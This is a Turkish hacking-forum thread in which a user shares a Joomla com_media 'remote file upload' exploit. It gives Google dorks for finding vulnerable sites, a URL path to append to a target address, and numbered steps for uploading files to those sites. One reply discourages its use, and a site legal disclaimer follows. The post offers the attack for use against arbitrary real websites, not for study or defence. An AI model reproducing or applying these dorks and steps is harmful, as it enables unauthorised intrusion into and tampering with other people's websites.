Forumda Bulunmayan Exploit

TomRiddleBlack

Uzman üye
10 Haz 2016
1,219
1
NOT: FORUMDA HALA KULLANILMAKTADIR





Kod:
###########################
#
# Joomla com_media Remot File Upload Vulnerability
#
###########################

########################################################
# Exploit Title: Joomla Remot File Upload Vulnerability
########################################################
# Google Dork1: inurl:index.php?option=com_media & site:com
# Google Dork2: inurl:index.php?option=com_media & site:org
# Google Dork3: inurl:index.php?option=com_media & site:net
# Vendor Homepage: [[url]https://developer.joomla.org/joomlacode-archive/issue-29776.html][/url]
# Software Link: [-]
# Version: All Version
# Tested on: [Win 8.1/Google chrome]
# CVE : [-]
########################################################
# Exploit:
# Add This Link After Address Target
# /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder
# For Exmple: Site.com/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder
########################################################

Joomla Sitelere Uzaktan dosya Upload Edebileceğiniz Exploittir. Herkes Kullanır.
1.Exploitteki dorkları Google de aratın.
2.Girdiğimiz sitede dosya seç bölümüne tıklıyoruz.
3. ( Dosya Turu : .txt ve .jpg)Şeklinde seçtikten sonra upload kısmına basıyoruz
4.Attiginiz dosyayı diğer dosyalar arasında görebilirsiniz.
 
Son düzenleme:

'Timurhan

Katılımcı Üye
17 Mar 2016
629
1
Ellerine sağlık, Fakat belirtmek isterim ki kullanılmasını hiç önermiyorum kardeşim.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.